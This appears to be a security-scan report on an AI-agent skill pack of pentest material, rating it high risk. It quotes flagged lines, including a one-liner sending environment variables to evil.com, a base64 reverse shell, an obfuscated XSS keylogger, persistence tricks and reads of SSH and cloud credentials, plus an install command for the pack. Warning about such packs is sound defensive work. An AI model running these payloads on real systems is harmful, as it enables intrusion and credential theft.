skills
10 / 100 · High risk
Only if you trust the author.
By longwangjiang88/SusuAIOverclock-pojia (GitHub) · other · 42 stars · scanned at commit 667b2db
Works with any agent that supports SKILL.md skills.
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 178 places.
- packed-packs/dsh/materials/skills/skills/CONTRIBUTING.md, line 359
| npx 启动型 | 通过 `npx -y @xxx/yyy` 拉起,无需本地项目 | jshookmcp | `npm-mcp` | - packed-packs/dsh/materials/skills/skills/api-security/references/jwt-oauth-testing.md, line 113
pip install jwt-tool pyjwt - packed-packs/dsh/materials/skills/skills/apk-reverse/references/android-advanced.md, line 346
| Frida | 动态 Hook | `pip install frida-tools` |
Show 17 more
- packed-packs/dsh/materials/skills/skills/apk-reverse/references/android-advanced.md, line 347
| Objection | Frida 封装(更易用) | `pip install objection` | - packed-packs/dsh/materials/skills/skills/apk-reverse/references/frida-bypass-kit.md, line 43
pip install frida-tools - packed-packs/dsh/materials/skills/skills/apk-reverse/scripts/frida-run.ps1, line 73
Write-Host "INFO: $Name not found, attempting auto-bootstrap (pip install frida-tools)..." -ForegroundColor Yellow - packed-packs/dsh/materials/skills/skills/apk-reverse/scripts/frida-run.ps1, line 87
throw "Missing required CLI tool: $Name — install with: pip install frida-tools" - packed-packs/dsh/materials/skills/skills/apk-reverse/scripts/frida-run.sh, line 54
echo "ERR: frida 不可用。安装: pip3 install frida-tools" - packed-packs/dsh/materials/skills/skills/apk-reverse/scripts/rebuild-sign-install.sh, line 73
zipalign|apksigner) echo " 安装: sudo apt install android-sdk-build-tools 或 sdkmanager 'build-tools;35.0.0'" ;; - packed-packs/dsh/materials/skills/skills/browser-automation/references/playwright-cheatsheet.md, line 392
npm install -g playwright - packed-packs/dsh/materials/skills/skills/browser-automation/references/playwright-cheatsheet.md, line 393
npx playwright install # 下载浏览器引擎 - packed-packs/dsh/materials/skills/skills/browser-automation/references/playwright-cheatsheet.md, line 396
npm install -g agent-browser - packed-packs/dsh/materials/skills/skills/browser-automation/scripts/setup.ps1, line 56
& npm install -g agent-browser - packed-packs/dsh/materials/skills/skills/browser-automation/scripts/setup.ps1, line 58
Write-Warning "agent-browser global install failed. Trying npx fallback..." - packed-packs/dsh/materials/skills/skills/browser-automation/scripts/setup.ps1, line 71
& npx playwright install chromium - packed-packs/dsh/materials/skills/skills/browser-automation/scripts/setup.ps1, line 73
Write-Warning "Playwright browser install failed. You may need to run: npx playwright install chromium" - packed-packs/dsh/materials/skills/skills/browser-automation/scripts/setup.ps1, line 111
$npxCheck = Get-Command npx -ErrorAction SilentlyContinue - packed-packs/dsh/materials/skills/skills/browser-automation/scripts/setup.ps1, line 113
"agent-browser=npx agent-browser" - packed-packs/dsh/materials/skills/skills/browser-automation/scripts/setup.ps1, line 118
throw "agent-browser installation failed. Install manually: npm install -g agent-browser" - packed-packs/dsh/materials/skills/skills/diagram-generator/SKILL.md, line 152
| Mermaid CLI (mmdc) | ✓ | npm install -g @mermaid-js/mermaid-cli | 渲染 Mermaid 为 PNG/SVG |
and 158 more places
Runs commands on your computer
The author does not mention this.
Found in 181 places.
- packed-packs/dsh/materials/skills/skills/apk-reverse/SKILL.md, line 132
jadx -d jadx_out app.apk - packed-packs/dsh/materials/skills/skills/apk-reverse/SKILL.md, line 149
apktool d app.apk -o apktool_out - packed-packs/dsh/materials/skills/skills/apk-reverse/SKILL.md, line 164
frida-ps -U
Show 17 more
- packed-packs/dsh/materials/skills/skills/apk-reverse/SKILL.md, line 181
adb devices - packed-packs/dsh/materials/skills/skills/apk-reverse/SKILL.md, line 250
apktool b apktool_out -o rebuilt.apk - packed-packs/dsh/materials/skills/skills/apk-reverse/SKILL.md, line 321
jadx -d jadx_out app.apk - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 85
subfinder -d target.com -o subdomains.txt - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 118
cat js_urls.txt | while read url; do - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 150
whatweb -i alive.txt --log-json=fingerprint.json - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 178
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 235
fluxion # 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码 - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 245
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/" - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 258
aws s3 ls s3://target-bucket --no-sign-request - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 297
find / -perm -4000 -type f 2>/dev/null - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 337
aws iam list-attached-user-policies --user-name compromised-user - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 353
mimikatz# sekurlsa::logonpasswords - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 369
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 385
wmiexec.py domain/admin:password@target_ip "whoami" - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 408
responder -I eth0 - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 421
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
and 161 more places
Sends data to these websites: api.target.com, vpn.target.com, 169.254.169.254, api.certspotter.com, cross.{target_proxy_root}, {target}, {proxy}
The author does not mention this.
Found in 808 places.
- packed-packs/dsh/materials/skills/skills/apk-reverse/references/apk-security-checklist.md, line 178
curl -H "Authorization: Bearer USER_A_TOKEN" \ - packed-packs/dsh/materials/skills/skills/apk-reverse/references/apk-security-checklist.md, line 188
curl -X POST "https://api.target.com/verify" \ - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 119
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
Show 17 more
- packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 245
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/" - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 248
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 261
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ - packed-packs/dsh/materials/skills/skills/binary-diff/references/prompt-template.md, line 98
resp = httpx.post(api_url, json={ - packed-packs/dsh/materials/skills/skills/browser-automation/references/playwright-cheatsheet.md, line 231
const response = await route.fetch(); - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-17_pentest-vue-spa-actuator-leak.md, line 59
- `curl` / `Invoke-WebRequest` (PowerShell): HTTP 请求 - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 24
curl 'https://api.certspotter.com/v1/issuances?domain={target_proxy_root}&include_subdomains=true&expand=dns_names' - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 29
curl -I https://cross.{target_proxy_root}/ - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 35
- 出口 `Origin`/`Referer` 自动改写成目标 URL 的源(Worker `fetch()` 默认行为) - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 42
- **结论**: CF Worker `fetch()` 内置的 private IP block 在最终目标层强制生效,**编码/重定向都没用** - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 50
- 用 `curl -c jar.txt` 抓 cookie → cookie jar 把 cookie 注册到 `.{target_proxy_root}` 域 - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 65
| `Invoke-WebRequest` 探响应头报 "Operation is not valid due to the current state of the object" | Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 78
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/' - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 81
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names' - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 84
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin' - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 91
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie' - packed-packs/dsh/materials/skills/skills/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 95
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies'
and 788 more places
Changes files outside its own folder
The author does not mention this.
Found in 11 places.
- packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 475
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload - packed-packs/dsh/materials/skills/skills/attack-chain/SKILL.md, line 481
cat > /etc/systemd/system/update.service << 'EOF' - packed-packs/dsh/materials/skills/skills/firmware-pentest/references/emba-automated-analysis.md, line 165
cp my_rule.yar ~/tools/emba/external/yara/
Show 8 more
- packed-packs/dsh/materials/skills/skills/firmware-pentest/references/emba-automated-analysis.md, line 168
cp my_rule.yaml ~/tools/emba/config/semgrep_rules/ - packed-packs/dsh/materials/skills/skills/firmware-pentest/references/emulation-and-fuzz.md, line 32
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/ - packed-packs/dsh/materials/skills/skills/firmware-pentest/references/emulation-and-fuzz.md, line 131
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default - packed-packs/dsh/materials/skills/skills/firmware-pentest/references/emulation-and-fuzz.md, line 132
echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default - packed-packs/dsh/materials/skills/skills/pentest-tools/references/network-attack-defense.md, line 128
| 可写 /etc/passwd | `echo 'root2:$1$...:0:0::/root:/bin/bash' >> /etc/passwd` | - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - packed-packs/dsh/materials/skills/skills/scripts/bootstrap-reverse.sh, line 142
- Override install root with REVERSE_SKILL_TOOLS_DIR=~/tools.
Can call paid AI services billed to you
The author does not mention this.
Found in 2 places.
- packed-packs/dsh/materials/skills/skills/binary-diff/references/prompt-template.md, line 166
api_url: "https://api.openai.com/v1/chat/completions" - packed-packs/dsh/materials/skills/skills/binary-diff/references/prompt-template.md, line 171
api_url: "https://api.anthropic.com/v1/messages"
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 10 places.
- packed-packs/dsh/materials/skills/skills/field-journal/precedent-pentest.md, line 441
□ cat ~/.aws/credentials ~/.azure/accessTokens.json ~/.config/gcloud/credentials.json - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 258
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 1212
"command": "cat /root/.bash_history\ncat ~/.ssh/authorized_keys\ncat /etc/shadow\nfind / -name \"*.key\" 2>/dev/null",
Show 7 more
- packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/raw/tools.json, line 4141
"command": "https://attacker_ip:7443\n# 默认账号: mythic_admin\n# 密码查看: cat .env | grep MYTHIC_ADMIN_PASSWORD", - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 906
with open("/root/.ssh/id_rsa", "r") as f: - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥(不要使用) - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 288
→ 横向(看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json) - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4423
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Contains code that is hidden or hard to read
The author does not mention this.
Found in 15 places.
- packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 124
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 426
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash
Show 12 more
- packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 222
| 命令字过滤 | base64:`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2254
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2432
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - packed-packs/dsh/materials/skills/skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'skills' ] || [ -L ~/.agents/skills/'skills' ]; then echo 'A skill folder named skills already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/longwangjiang88/SusuAIOverclock-pojia' "$d" && git -C "$d" checkout --quiet '667b2db2746516eae05412bbdcad77515d528f37' -- 'packed-packs/dsh/materials/skills/skills' && mkdir -p ~/.agents/skills && cp -R "$d"/'packed-packs/dsh/materials/skills/skills' ~/.agents/skills/'skills' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'skills' ~/.claude/skills/'skills' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for longwangjiang88/SusuAIOverclock-pojia shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/longwangjiang88/SusuAIOverclock-pojia/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | 667b2db | 80 |
Also found in
Identical copies of this skill exist at:
- longwangjiang88/SusuAIOverclock-pojia/packed-packs/workbuddy/materials/skills/zzy-codex5.6/zzy-reverse-skill/skills